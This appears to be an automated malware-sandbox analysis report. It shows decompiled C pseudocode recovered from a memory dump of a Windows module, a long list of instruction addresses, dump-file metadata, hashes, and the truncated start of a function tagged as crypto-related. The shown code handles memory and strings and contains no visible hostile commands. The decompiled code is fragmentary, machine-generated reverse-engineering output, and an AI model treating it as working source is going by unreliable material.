															_t644 =  *((char*)(_t447 + _t520 - 1));
															 *((char*)(_t447 + _t575 - 1)) = _t644;
															if(_t686 != 0 && _t447 == _t686) {
																break;
															}
															if(_t644 != 0) {
																continue;
															} else {
																_t682 = _v56;
															}
															goto L181;
														}
														_t682 = _v56;
														 *((char*)(_t447 + _v68)) = 0;
													}
												}
											}
											L181:
											 *((intOrPtr*)(_v48 + _v64 * 4)) = _t705;
											_t371 = _v52 + 1;
											_v60 =  *_v40;
											_t604 = _t371;
										} else {
										}
									}
								}
								L182:
							} while (_t682 < _v60);
							_t505 = _v40;
							_t683 =  &_v52;
							_t556 =  *(_t683 - 8);
							if(_t683 == _t505) {
								L253:
								_v52 = 0;
								_v44 = 0;
								_t604 = _v48;
								if(_t371 > 0) {
									_t675 = _t371 >> 1;
									if(_t675 == 0) {
										_t676 = 1;
									} else {
										_v40 = _t505;
										_t509 = _t371;
										_t694 = 0;
										do {
											_t532 =  *((intOrPtr*)(_t604 + _t694 * 8));
											if( *((intOrPtr*)(_t604 + _t694 * 8)) != 0) {
												_push(1);
												E6EFF87B0(_t532);
												_t604 = _v52;
											}
											_t533 =  *((intOrPtr*)(_t604 + 4 + _t694 * 8));
											if( *((intOrPtr*)(_t604 + 4 + _t694 * 8)) != 0) {
												_push(1);
												E6EFF87B0(_t533);
												_t604 = _v52;
											}
											_t694 = _t694 + 1;
										} while (_t694 < _t675);
										_t534 = _t694;
										_t371 = _t509;
										_t505 = _v40;
										_t333 = _t534 + 1; // 0x2
										_t676 = _t694 + _t333;
									}
									_t334 = _t676 - 1; // 0x1
									if(_t334 < _t371) {
										_t530 =  *((intOrPtr*)(_t604 + _t676 * 4 - 4));
										if( *((intOrPtr*)(_t604 + _t676 * 4 - 4)) != 0) {
											_push(1);
											E6EFF87B0(_t530);
											_t604 = _v52;
										}
									}
								}
							} else {
								_v52 = _t604;
								 *_t505 = 0;
								 *(_t505 + 8) = 0;
								if(_t556 <= 0) {
									L196:
									_t605 =  *(_t505 + 4);
								} else {
									_t605 =  *(_t505 + 4);
									_t424 = _t556 >> 1;
									if(_t424 == 0) {
										_t425 = 1;
									} else {
										_v60 = _t556;
										_t685 = 0;
										_t702 = _t424;
										do {
											_t558 =  *((intOrPtr*)(_t605 + _t685 * 8));
											if( *((intOrPtr*)(_t605 + _t685 * 8)) != 0) {
												_push(1);
												E6EFF87B0(_t558);
												_t605 =  *(_t505 + 4);
											}
											_t559 =  *((intOrPtr*)(_t605 + 4 + _t685 * 8));
											if( *((intOrPtr*)(_t605 + 4 + _t685 * 8)) != 0) {
												_push(1);
												E6EFF87B0(_t559);
												_t605 =  *(_t505 + 4);
											}
											_t685 = _t685 + 1;
										} while (_t685 < _t702);
										_t556 = _v60;
										_t217 = _t685 + 1; // 0x2
										_t425 = _t685 + _t217;
									}
									_t218 = _t425 - 1; // 0x1
									if(_t218 < _t556) {
										_t557 =  *((intOrPtr*)(_t605 + _t425 * 4 - 4));
										if( *((intOrPtr*)(_t605 + _t425 * 4 - 4)) != 0) {
											_push(1);
											E6EFF87B0(_t557);
											goto L196;
										}
									}
								}
								_push(4);
								_push(_t605);
								E6EFF10B0();
								_t723 = _t723 + 8;
								_t527 = _v52;
								 *(_t505 + 4) = 0;
								if(_t527 != 0) {
									_t672 = (_t527 - 0x00000001 >> 0x00000001 >> 0x0000001e) + _t527 - 0x00000001 & 0xfffffffc;
									_push(0x10 + _t672 * 4);
									 *(_t505 + 8) = _t672 + 4;
									_t368 = E6EFF1030();
									_t723 = _t723 + 4;
									_t610 = _v52;
									 *(_t505 + 4) = _t368;
									 *_t505 = _t610;
									if(_t610 <= 0) {
										goto L198;
									} else {
										_v40 = _t505;
										_t673 = 0;
										asm("pxor xmm0, xmm0");
										do {
											_push(8);
											_t673 = _t673 + 1;
											_t693 = E6EFF1030();
											_t723 = _t723 + 4;
											if(_t693 == 0) {
												_t693 = 0;
												_t508 = _t673 * 4;
											} else {
												_t376 = _t673 - 1;
												if(_t376 < 0 || _t376 >= _v52) {
													_t377 = 0;
													_t508 = _t673 * 4;
												} else {
													_t508 = _t673 * 4;
													_t377 =  *(_v48 + _t508 - 4);
												}
												 *_t693 = 0;
												 *(_t693 + 4) = 0;
												_t614 =  *_t377;
												if(_t614 == 0 ||  *_t614 == 0) {
													_push(0x40);
													_t378 = E6EFF1030();
													_v84 = _t378;
													_t723 = _t723 + 4;
													_t615 =  *_t693;
													if(_t615 == 0) {
														 *_t378 = 0;
													} else {
														if(_v84 != 0) {
															_t535 = _t378;
															_t381 =  *_t615;
															 *_t535 = _t381;
															if(_t381 != 0) {
																_v56 = _t693;
																_t382 = 0;
																_v64 = _t673;
																_t695 = _t535;
																while(1) {
																	_t382 = _t382 + 1;
																	_t548 =  *((char*)(_t615 + _t382 * 2 - 1));
																	 *((char*)(_t695 + _t382 * 2 - 1)) = _t548;
																	if(_t548 == 0) {
																		break;
																	}
																	_t549 =  *((char*)(_t615 + _t382 * 2));
																	 *((char*)(_t695 + _t382 * 2)) = _t549;
																	if(_t549 != 0) {
																		continue;
																	}
																	break;
																}
																_t693 = _v56;
																_t673 = _v64;
															}
														}
														_push(1);
														_push(_t615);
														E6EFF10B0();
														_t723 = _t723 + 8;
													}
													 *_t693 = _v84;
													 *(_t693 + 4) = 0x40;
												} else {
													_t537 = _t614 & 0x0000000f;
													if(_t537 == 0) {
														L212:
														asm("pxor xmm1, xmm1");
														_t388 =  ~( ~_t537 + 0x0000000f & 0x0000000f) + 0x7fffffff;
														_v60 = _t388;
														_v64 = _t673;
														_t677 = _t388;
														while(1) {
															asm("movdqu xmm0, [edx+ecx]");
															asm("pcmpeqb xmm0, xmm1");
															asm("pmovmskb eax, xmm0");
															if(_t388 != 0) {
																break;
															}
															_t537 = _t537 + 0x10;
															if(_t537 < _t677) {
																continue;
															} else {
																_v60 = _t677;
																_t673 = _v64;
																if(_v60 >= 0x7fffffff) {
																	L219:
																	_v60 = 0x7fffffff;
																} else {
																	_t407 = _v60;
																	while( *((char*)(_t407 + _t614)) != 0) {
																		_t407 = _t407 + 1;
																		if(_t407 < 0x7fffffff) {
																			continue;
																		} else {
																			goto L219;
																		}
																		goto L220;
																	}
																	goto L279;
																}
															}
															goto L220;
														}
														asm("bsf eax, eax");
														_t673 = _v64;
														_v60 = _t388 + _t537;
													} else {
														_v60 = 0;
														_t407 = _v60;
														_t537 =  ~_t537 + 0x10;
														while( *((char*)(_t407 + _t614)) != 0) {
															_t407 = _t407 + 1;
															if(_t407 < _t537) {
																continue;
															} else {
																goto L212;
															}
															goto L220;
														}
														L279:
														_v60 = _t407;
													}
													L220:
													_t392 =  <=  ? 0x40 : _v60 + 1;
													if(_t392 > 0) {
														_t543 = (_t392 >> 5 >> 0x1a) + _t392 >> 6;
														_v72 = _t543;
														_t393 = _t392 & 0x8000003f;
														if(_t393 < 0) {
															_t393 = (_t393 - 0x00000001 | 0xffffffc0) + 1;
														}
														_t545 = _t543 + (0 | _t393 > 0x00000000) << 6;
														_v72 = _t545;
														_push(_t545);
														_v76 = _t614;
														_t396 = E6EFF1030();
														_t614 = _v76;
														_t546 = _t396;
														_t723 = _t723 + 4;
														_t397 =  *_t693;
														_v68 = _t397;
														if(_t397 == 0) {
															 *_t546 = 0;
														} else {
															if(_t546 != 0) {
																_t403 =  *_t397;
																 *_t546 = _t403;
																if(_t403 != 0) {
																	_v56 = _t693;
																	_t404 = 0;
																	_v76 = _t614;
																	_v64 = _t673;
																	_t697 = _v68;
																	while(1) {
																		_t404 = _t404 + 1;
																		_t616 =  *((char*)(_t697 + _t404 * 2 - 1));
																		 *((char*)(_t546 + _t404 * 2 - 1)) = _t616;
																		if(_t616 == 0) {
																			break;
																		}
																		_t617 =  *((char*)(_t697 + _t404 * 2));
																		 *((char*)(_t546 + _t404 * 2)) = _t617;
																		if(_t617 != 0) {
																			continue;
																		}
																		break;
																	}
																	_t693 = _v56;
																	_t614 = _v76;
																	_t673 = _v64;
																}
															}
															_push(1);
															_push(_v68);
															_v80 = _t546;
															_v76 = _t614;
															E6EFF10B0();
															_t614 = _v76;
															_t546 = _v80;
															_t723 = _t723 + 8;
														}
														 *(_t693 + 4) = _v72;
														 *_t693 = _t546;
													} else {
														_t546 = 0;
													}
													if(_t546 != 0) {
														_v64 = _t673;
														_v56 = _t693;
														_t696 = 0;
														_t678 = _v60;
														while(1) {
															_t696 = _t696 + 1;
															_t400 =  *((char*)(_t696 + _t614 - 1));
															 *((char*)(_t696 + _t546 - 1)) = _t400;
															if(_t678 != 0 && _t696 == _t678) {
																break;
															}
															if(_t400 != 0) {
																continue;
															} else {
																_t693 = _v56;
																_t673 = _v64;
															}
															goto L251;
														}
														_t693 = _v56;
														_t673 = _v64;
														 *((char*)(_t696 + _t546)) = 0;
													}
												}
											}
											L251:
											_t612 = _v40;
											 *( *((intOrPtr*)(_t612 + 4)) + _t508 - 4) = _t693;
										} while (_t673 <  *_t612);
										_t505 = _t612;
										_t371 = _v52;
										goto L253;
									}
								} else {
									L198:
									_v52 = 0;
									_v44 = 0;
									_t604 = _v48;
								}
							}
						}
					}
					_push(4);
					_push(_t604);
					E6EFF10B0();
					_v48 = 0;
					return _t505;
				}
				L301:
			}

0x6f003ec9
0x6f003ecc
0x6f003ece
0x6f003ed1
0x6f004b36
0x6f003ed7
0x6f003ed7
0x6f004c80
0x6f004c8c
0x6f004c90
0x00000000
0x6f004c92
0x00000000
0x6f004c92
0x6f003edd
0x6f003edf
0x6f003ee3
0x6f003ee7
0x6f003eeb
0x6f003ef3
0x6f003ef7
0x6f003efd
0x6f003f03
0x6f003f0b
0x6f003f0f
0x6f003f13
0x6f003f17
0x6f004c77
0x6f004c79
0x6f003f1d
0x6f003f1f
0x6f003f22
0x6f003f3a
0x6f003f3e
0x6f003f4a
0x6f003f4f
0x6f003f4f
0x6f003f54
0x6f003f58
0x6f003f5e
0x00000000
0x00000000
0x6f003f64
0x6f003f69
0x00000000
0x6f003f6b
0x6f003f70
0x6f003f84
0x6f003f84
0x00000000
0x6f003f72
0x6f003f72
0x6f003f7c
0x6f003f82
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f003f82
0x00000000
0x6f003f72
0x6f003f70
0x00000000
0x6f003f69
0x6f004c70
0x6f004c73
0x00000000
0x6f003f24
0x6f003f26
0x6f003f28
0x6f003f2b
0x6f003f35
0x6f003f38
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f003f38
0x6f004c61
0x6f004c63
0x6f003f89
0x6f003f89
0x6f003f8e
0x6f003f90
0x6f003f99
0x6f003f99
0x6f003f9e
0x00000000
0x00000000
0x6f003fa9
0x00000000
0x00000000
0x00000000
0x6f003fa9
0x6f004c53
0x6f004c56
0x00000000
0x6f004c5c
0x00000000
0x6f004c5c
0x00000000
0x6f004c56
0x6f004c69
0x6f004c69
0x6f004c69
0x6f004c63
0x6f003f22
0x6f003fab
0x6f003fad
0x6f003fae
0x6f003fb2
0x6f003fb8
0x6f003fc0
0x6f003fc1
0x6f003fc5
0x6f003fca
0x6f003fce
0x6f003fd2
0x6f003fd6
0x6f003fe0
0x6f003fe3
0x6f003fe3
0x6f003fe8
0x00000000
0x00000000
0x6f003ff3
0x00000000
0x00000000
0x00000000
0x6f003ff3
0x6f004c36
0x6f004c37
0x6f004c38
0x6f004c3d
0x00000000
0x6f004c43
0x00000000
0x6f004c43
0x00000000
0x6f004c3d
0x6f003ff5
0x6f003ff5
0x6f003ff9
0x6f003ff9
0x6f003fff
0x6f00417f
0x6f00417f
0x6f004186
0x6f004188
0x6f00418b
0x6f004005
0x6f004007
0x6f004c2f
0x6f00400d
0x6f00400f
0x6f004012
0x6f004026
0x6f00402a
0x6f004036
0x6f00403b
0x6f00403b
0x6f004040
0x6f004044
0x6f00404a
0x00000000
0x00000000
0x6f004050
0x6f004055
0x00000000
0x6f004057
0x6f00405c
0x6f00406c
0x6f00406c
0x00000000
0x6f00405e
0x6f004064
0x6f00406a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f00406a
0x6f00405e
0x6f00405c
0x00000000
0x6f004055
0x6f004c25
0x6f004c28
0x6f004014
0x6f004016
0x6f004018
0x6f00401b
0x6f004021
0x6f004024
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f004024
0x6f00401b
0x6f004012
0x6f004071
0x6f004075
0x6f00407a
0x6f00407d
0x6f004081
0x6f004087
0x6f004087
0x6f00408d
0x00000000
0x6f00409d
0x6f00409f
0x6f0040a1
0x6f0040a6
0x6f0040a9
0x6f0040bd
0x6f0040c1
0x6f0040cd
0x6f0040d3
0x6f0040d3
0x6f0040d8
0x6f0040dc
0x6f0040e2
0x00000000
0x00000000
0x6f0040e8
0x6f0040ed
0x00000000
0x6f0040ef
0x6f0040f5
0x6f004106
0x6f004106
0x00000000
0x6f0040f7
0x6f0040fd
0x6f004104
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f004104
0x6f0040f7
0x6f0040f5
0x00000000
0x6f0040ed
0x6f004b40
0x6f004b43
0x6f0040ab
0x6f0040ad
0x6f0040af
0x6f0040b2
0x6f0040b8
0x6f0040bb
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f0040bb
0x6f0040b2
0x6f0040a9
0x6f00410b
0x6f004110
0x6f004116
0x6f00411b
0x6f00412b
0x6f00412e
0x6f004134
0x6f00413c
0x6f00413c
0x6f004149
0x6f00414a
0x6f004157
0x6f004159
0x6f00415c
0x6f00415e
0x6f004160
0x6f004163
0x6f004163
0x6f004164
0x6f004169
0x6f00416f
0x00000000
0x00000000
0x6f00417b
0x00000000
0x00000000
0x6f00417d
0x00000000
0x6f00417b
0x6f004b37
0x6f00411d
0x6f00411d
0x6f00411d
0x6f00411b
0x6f00408d
0x6f00418e
0x6f004192
0x6f004199
0x6f00419d
0x6f0041a1
0x6f0041a9
0x6f004311
0x6f004313
0x6f004313
0x6f00431a
0x6f00431c
0x6f004323
0x6f004327
0x6f00432a
0x6f00432e
0x6f00437a
0x6f004330
0x6f004335
0x6f004337
0x6f00433b
0x6f00433e
0x6f004342
0x6f004344
0x6f004347
0x6f004349
0x6f00434b
0x6f00434b
0x6f00434c
0x6f004351
0x6f004357
0x00000000
0x00000000
0x6f004359
0x6f00435d
0x6f004362
0x00000000
0x00000000
0x00000000
0x6f004362
0x6f004364
0x6f004364
0x6f004367
0x6f004367
0x6f004369
0x6f00436b
0x6f00436c
0x6f004371
0x6f004371
0x6f004381
0x6f004383
0x6f004383
0x6f0041b8
0x6f0041ba
0x6f0041bd
0x6f0041d5
0x6f0041d9
0x6f0041e5
0x6f0041eb
0x6f0041eb
0x6f0041f0
0x6f0041f4
0x6f0041fa
0x00000000
0x00000000
0x6f004200
0x6f004205
0x00000000
0x6f004207
0x6f00420d
0x6f004222
0x6f004222
0x6f00420f
0x6f00420f
0x6f004219
0x6f004220
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f004220
0x00000000
0x6f00420f
0x6f00420d
0x00000000
0x6f004205
0x6f004b6c
0x6f004b6f
0x00000000
0x6f0041bf
0x6f0041c1
0x6f0041c3
0x6f0041c6
0x6f0041d0
0x6f0041d3
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f0041d3
0x6f004b53
0x6f004b56
0x6f004b64
0x6f004b64
0x6f004b56
0x6f004227
0x6f00422c
0x6f004232
0x6f004238
0x6f00424e
0x6f004252
0x6f004258
0x6f004260
0x6f004260
0x6f00426e
0x6f004271
0x6f004275
0x6f00427b
0x6f00427d
0x6f004280
0x6f004284
0x6f0042d5
0x6f004286
0x6f004288
0x6f00428a
0x6f00428d
0x6f004291
0x6f004295
0x6f004299
0x6f00429c
0x6f00429e
0x6f00429e
0x6f00429f
0x6f0042a4
0x6f0042aa
0x00000000
0x00000000
0x6f0042ac
0x6f0042b0
0x6f0042b5
0x00000000
0x00000000
0x00000000
0x6f0042b5
0x6f0042b7
0x6f0042bb
0x6f0042bb
0x6f0042be
0x6f0042be
0x6f0042c0
0x6f0042c2
0x6f0042c3
0x6f0042c7
0x6f0042cc
0x6f0042d0
0x6f0042d0
0x6f0042dc
0x6f0042df
0x6f00423a
0x6f00423a
0x6f00423a
0x6f0042e3
0x6f0042f1
0x6f0042f3
0x6f0042f3
0x6f0042f4
0x6f0042f9
0x6f0042ff
0x00000000
0x00000000
0x6f00430b
0x00000000
0x00000000
0x6f00430d
0x00000000
0x6f00430b
0x6f004b4a
0x6f004b4a
0x6f0042e3
0x6f0041a9
0x6f00438a
0x6f00438a
0x6f00438c
0x6f00438d
0x6f004392
0x6f004395
0x6f004399
0x6f00439b
0x6f0043a5
0x6f0043a7
0x6f0043a9
0x6f0043b1
0x6f0043b7
0x6f004c04
0x6f004c18
0x6f004c18
0x6f004c1c
0x6f004c06
0x6f004c06
0x6f004c06
0x6f004c0a
0x6f004c0e
0x6f004c10
0x00000000
0x6f004c10
0x6f0043bd
0x6f0043bd
0x6f0043bf
0x6f0043c7
0x6f0043c9
0x6f0043cd
0x6f0043d1
0x6f0043d5
0x6f0043dd
0x6f0043e1
0x6f0043e9
0x6f0043ec
0x6f004404
0x6f004408
0x6f004414
0x6f004418
0x6f00441e
0x6f00441e
0x6f004423
0x6f004427
0x6f00442d
0x00000000
0x00000000
0x6f004433
0x6f004438
0x00000000
0x6f00443a
0x6f00443a
0x6f004444
0x00000000
0x6f004446
0x6f004446
0x6f004450
0x6f004457
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f004457
0x00000000
0x6f004446
0x6f004444
0x00000000
0x6f004438
0x6f004be6
0x6f004be8
0x6f004beb
0x6f004bef
0x00000000
0x6f0043ee
0x6f0043f0
0x6f0043f2
0x6f0043f5
0x6f0043ff
0x6f004402
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f004402
0x6f004bf1
0x6f004bf3
0x6f004459
0x6f004459
0x6f004461
0x6f004466
0x6f004469
0x6f00446d
0x6f004473
0x6f004478
0x6f004483
0x6f004489
0x6f004498
0x6f00449d
0x6f00449f
0x6f0044a3
0x6f0044a8
0x6f0044ab
0x6f0044af
0x6f0044af
0x6f0044b3
0x6f0044b7
0x6f0044cd
0x6f0044d2
0x6f0044d2
0x6f0044d5
0x6f0044dc
0x6f0044de
0x6f0044e3
0x6f0046f5
0x6f0044e9
0x6f0044eb
0x6f0044ed
0x6f0044f2
0x6f004685
0x6f00468c
0x6f004690
0x6f004693
0x6f004697
0x6f0046e3
0x6f004699
0x6f00469e
0x6f0046a0
0x6f0046a4
0x6f0046a7
0x6f0046ab
0x6f0046ad
0x6f0046b1
0x6f0046b3
0x6f0046b5
0x6f0046b5
0x6f0046b6
0x6f0046bb
0x6f0046c1
0x00000000
0x00000000
0x6f0046c3
0x6f0046c7
0x6f0046cc
0x00000000
0x00000000
0x00000000
0x6f0046cc
0x6f0046ce
0x6f0046ce
0x6f0046ab
0x6f0046d2
0x6f0046d4
0x6f0046d5
0x6f0046da
0x6f0046da
0x6f0046ea
0x6f0046ec
0x6f004501
0x6f004503
0x6f004506
0x6f004528
0x6f00452c
0x6f004538
0x6f00453e
0x6f004542
0x6f004544
0x6f004544
0x6f004549
0x6f00454d
0x6f004553
0x00000000
0x00000000
0x6f004559
0x6f00455e
0x00000000
0x6f004560
0x6f004560
0x6f00456c
0x6f004582
0x6f004582
0x6f00456e
0x6f00456e
0x6f004570
0x6f00457a
0x6f004580
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f004580
0x6f004b84
0x6f004b84
0x6f00456c
0x00000000
0x6f00455e
0x6f004b8d
0x6f004b92
0x6f004508
0x6f004508
0x6f004512
0x6f004516
0x6f004519
0x6f004523
0x6f004526
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f004526
0x6f004b9b
0x6f004b9b
0x6f00458a
0x6f004593
0x6f004599
0x6f00459e
0x6f0045b7
0x6f0045ba
0x6f0045be
0x6f0045c4
0x6f0045cc
0x6f0045cc
0x6f0045d8
0x6f0045db
0x6f0045df
0x6f0045e0
0x6f0045e5
0x6f0045e9
0x6f0045ec
0x6f0045f0
0x6f00463c
0x6f0045f2
0x6f0045f7
0x6f0045f9
0x6f0045fb
0x6f0045fe
0x6f004602
0x6f004604
0x6f004607
0x6f004609
0x6f00460d
0x6f00460f
0x6f00460f
0x6f004610
0x6f004615
0x6f00461b
0x00000000
0x00000000
0x6f00461d
0x6f004621
0x6f004626
0x00000000
0x00000000
0x00000000
0x6f004626
0x6f004628
0x6f00462b
0x6f00462b
0x6f004602
0x6f00462f
0x6f004631
0x6f004632
0x6f004637
0x6f004637
0x6f004647
0x6f00464a
0x6f0045a0
0x6f0045a0
0x6f0045a0
0x6f004651
0x6f004657
0x6f00465b
0x6f00465d
0x6f004661
0x6f004665
0x6f004665
0x6f004666
0x6f00466b
0x6f004671
0x00000000
0x00000000
0x6f00467d
0x00000000
0x6f00467f
0x6f00467f
0x6f00467f
0x00000000
0x6f00467d
0x6f004b77
0x6f004b7b
0x6f004b7b
0x6f004651
0x6f0044f2
0x6f0046f7
0x6f004703
0x6f00470c
0x6f00470d
0x6f004711
0x00000000
0x6f004bf9
0x6f004bf3
0x6f0043ec
0x6f004713
0x6f004713
0x6f00471d
0x6f004721
0x6f004725
0x6f00472a
0x6f004a96
0x6f004a98
0x6f004a9c
0x6f004aa0
0x6f004aa6
0x6f004aaa
0x6f004aac
0x6f004bd2
0x6f004ab2
0x6f004ab4
0x6f004ab8
0x6f004aba
0x6f004abc
0x6f004abc
0x6f004ac1
0x6f004ac3
0x6f004ac5
0x6f004aca
0x6f004aca
0x6f004ace
0x6f004ad4
0x6f004ad6
0x6f004ad8
0x6f004add
0x6f004add
0x6f004ae1
0x6f004ae2
0x6f004ae6
0x6f004ae8
0x6f004aea
0x6f004aee
0x6f004aee
0x6f004aee
0x6f004af2
0x6f004af7
0x6f004af9
0x6f004aff
0x6f004b01
0x6f004b03
0x6f004b08
0x6f004b08
0x6f004aff
0x6f004af7
0x6f004730
0x6f004730
0x6f004736
0x6f004738
0x6f00473d
0x6f00479a
0x6f00479a
0x6f00473f
0x6f004741
0x6f004744
0x6f004746
0x6f004bdc
0x6f00474c
0x6f00474c
0x6f004750
0x6f004752
0x6f004754
0x6f004754
0x6f004759
0x6f00475b
0x6f00475d
0x6f004762
0x6f004762
0x6f004765
0x6f00476b
0x6f00476d
0x6f00476f
0x6f004774
0x6f004774
0x6f004777
0x6f004778
0x6f00477c
0x6f004780
0x6f004780
0x6f004780
0x6f004784
0x6f004789
0x6f00478b
0x6f004791
0x6f004793
0x6f004795
0x00000000
0x6f004795
0x6f004791
0x6f004789
0x6f00479d
0x6f00479f
0x6f0047a0
0x6f0047a5
0x6f0047a8
0x6f0047ac
0x6f0047b5
0x6f0047d6
0x6f0047e0
0x6f0047e4
0x6f0047e7
0x6f0047ec
0x6f0047ef
0x6f0047f3
0x6f0047f6
0x6f0047fa
0x00000000
0x6f0047fc
0x6f0047fc
0x6f004800
0x6f004802
0x6f004806
0x6f004806
0x6f004808
0x6f00480e
0x6f004810
0x6f004815
0x6f004a74
0x6f004a76
0x6f00481b
0x6f00481d
0x6f00481e
0x6f004826
0x6f004828
0x6f004831
0x6f004835
0x6f00483c
0x6f00483c
0x6f004842
0x6f004844
0x6f004847
0x6f00484b
0x6f004a04
0x6f004a06
0x6f004a0b
0x6f004a0f
0x6f004a12
0x6f004a16
0x6f004a63
0x6f004a18
0x6f004a1c
0x6f004a1e
0x6f004a20
0x6f004a23
0x6f004a27
0x6f004a29
0x6f004a2d
0x6f004a2f
0x6f004a33
0x6f004a35
0x6f004a35
0x6f004a36
0x6f004a3b
0x6f004a41
0x00000000
0x00000000
0x6f004a43
0x6f004a47
0x6f004a4c
0x00000000
0x00000000
0x00000000
0x6f004a4c
0x6f004a4e
0x6f004a52
0x6f004a52
0x6f004a27
0x6f004a56
0x6f004a58
0x6f004a59
0x6f004a5e
0x6f004a5e
0x6f004a69
0x6f004a6b
0x6f00485a
0x6f00485c
0x6f00485f
0x6f004881
0x6f004885
0x6f004891
0x6f004896
0x6f00489a
0x6f00489e
0x6f0048a0
0x6f0048a0
0x6f0048a5
0x6f0048a9
0x6f0048af
0x00000000
0x00000000
0x6f0048b5
0x6f0048ba
0x00000000
0x6f0048bc
0x6f0048bc
0x6f0048c0
0x6f0048cc
0x6f0048e4
0x6f0048e4
0x6f0048ce
0x6f0048ce
0x6f0048d2
0x6f0048dc
0x6f0048e2
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f0048e2
0x00000000
0x6f0048d2
0x6f0048cc
0x00000000
0x6f0048ba
0x6f004bc0
0x6f004bc5
0x6f004bc9
0x6f004861
0x6f004861
0x6f00486b
0x6f00486f
0x6f004872
0x6f00487c
0x6f00487f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f00487f
0x6f004bb7
0x6f004bb7
0x6f004bb7
0x6f0048ec
0x6f0048fb
0x6f004900
0x6f004913
0x6f004916
0x6f00491a
0x6f00491f
0x6f004927
0x6f004927
0x6f004934
0x6f004937
0x6f00493b
0x6f00493c
0x6f004940
0x6f004945
0x6f004949
0x6f00494b
0x6f00494e
0x6f004950
0x6f004956
0x6f0049bc
0x6f004958
0x6f00495a
0x6f00495c
0x6f00495f
0x6f004963
0x6f004965
0x6f004969
0x6f00496b
0x6f00496f
0x6f004973
0x6f004977
0x6f004977
0x6f004978
0x6f00497d
0x6f004983
0x00000000
0x00000000
0x6f004985
0x6f004989
0x6f00498e
0x00000000
0x00000000
0x00000000
0x6f00498e
0x6f004990
0x6f004994
0x6f004998
0x6f004998
0x6f004963
0x6f00499c
0x6f00499e
0x6f0049a2
0x6f0049a6
0x6f0049aa
0x6f0049af
0x6f0049b3
0x6f0049b7
0x6f0049b7
0x6f0049c3
0x6f0049c6
0x6f004902
0x6f004902
0x6f004902
0x6f0049ca
0x6f0049d2
0x6f0049d6
0x6f0049da
0x6f0049dc
0x6f0049e0
0x6f0049e0
0x6f0049e1
0x6f0049e6
0x6f0049ec
0x00000000
0x00000000
0x6f0049f8
0x00000000
0x6f0049fa
0x6f0049fa
0x6f0049fe
0x6f0049fe
0x00000000
0x6f0049f8
0x6f004ba6
0x6f004baa
0x6f004bae
0x6f004bae
0x6f0049ca
0x6f00484b
0x6f004a7d
0x6f004a7d
0x6f004a84
0x6f004a88
0x6f004a90
0x6f004a92
0x00000000
0x6f004a92
0x6f0047b7
0x6f0047b7
0x6f0047b9
0x6f0047bd
0x6f0047c1
0x6f0047c1
0x6f0047b5
0x6f00472a
0x6f0043b7
0x6f004b0c
0x6f004b0e
0x6f004b0f
0x6f004b17
0x6f004b2a
0x6f004b2a
0x00000000

Strings

, xrefs: 6F003EF7

Memory Dump Source

Source File: 00000000.00000002.888568308.000000006EFE1000.00000020.00020000.sdmp, Offset: 6EFE0000, based on PE: true

Associated: 00000000.00000002.888087050.000000006EFE0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.894194867.000000006F015000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.895199607.000000006F01B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.895701456.000000006F01C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3688684798
Opcode ID: 5de324625bf765357edc78187f85eb360e523f98620fb7d8adce9e6238fc7d5d
Instruction ID: 034b38d06d5ec3a385f406cd74b826d8bae73e82de87f746a2210a5677062421
Opcode Fuzzy Hash: 5de324625bf765357edc78187f85eb360e523f98620fb7d8adce9e6238fc7d5d
Instruction Fuzzy Hash: C0923878608342AFF315DE28C48075AB7E1BFE5304F148B6EE8A59B391D734E845CB86

Uniqueness

Uniqueness Score: -1.00%

Function 6F0062F0, Relevance: 2.2, Strings: 1, Instructions: 961
COMMONCrypto

Download Yara Rule

C-Code - Quality: 87%

			E6F0062F0(intOrPtr* __ecx, signed int __edx, void* __eflags, char _a4) {
				intOrPtr* _v24;
				char _v32;
				intOrPtr _v36;
				unsigned int _v40;
				signed int _v44;
				signed int _v52;
				char _v56;
				unsigned int _v60;
				unsigned int _v64;
				signed int _v68;
				signed int _t264;
				signed int _t266;
				signed int _t267;
				signed int _t268;
				signed int _t269;
				void* _t272;
				char _t278;
				char _t279;
				char* _t281;
				signed int _t282;
				char _t283;
				void* _t287;
				char _t290;
				char _t291;
				char* _t293;
				signed int _t294;
				char _t295;
				signed int _t304;
				intOrPtr* _t306;
				intOrPtr* _t308;
				signed int _t310;
				signed int _t311;
				signed int _t313;
				signed int _t314;
				signed int _t315;
				signed int _t316;
				signed int _t317;
				signed int _t318;
				char* _t320;
				char* _t321;
				unsigned int _t322;
				unsigned int _t327;
				signed int _t329;
				signed int _t330;
				signed int _t332;
				signed int _t333;
				signed int _t336;
				signed int _t338;
				signed int _t339;
				signed int _t342;
				char* _t343;
				char* _t344;
				signed int _t346;
				signed int _t348;
				signed int _t349;
				signed int _t352;
				char* _t353;
				char* _t357;
				signed int _t359;
				signed int _t361;
				signed int _t362;
				signed int _t365;
				unsigned int _t375;
				signed int _t377;
				signed int _t381;
				signed int _t387;
				signed int _t389;
				signed int _t390;
				signed int _t395;
				signed int _t407;
				signed int _t417;
				char* _t418;
				char _t420;
				signed int _t421;
				void* _t431;
				char _t432;
				char _t434;
				char _t435;
				char* _t436;
				char _t438;
				char* _t439;
				char _t440;
				signed int _t441;
				void* _t451;
				char _t452;
				char _t454;
				char _t455;
				char* _t456;
				char _t458;
				char _t460;
				char _t461;
				signed int _t463;
				signed int _t465;
				void* _t469;
				char _t471;
				char _t472;
				signed int _t476;
				void* _t478;
				char _t480;
				char _t481;
				void* _t482;
				char _t484;
				char _t485;
				char _t489;
				char _t490;
				char _t491;
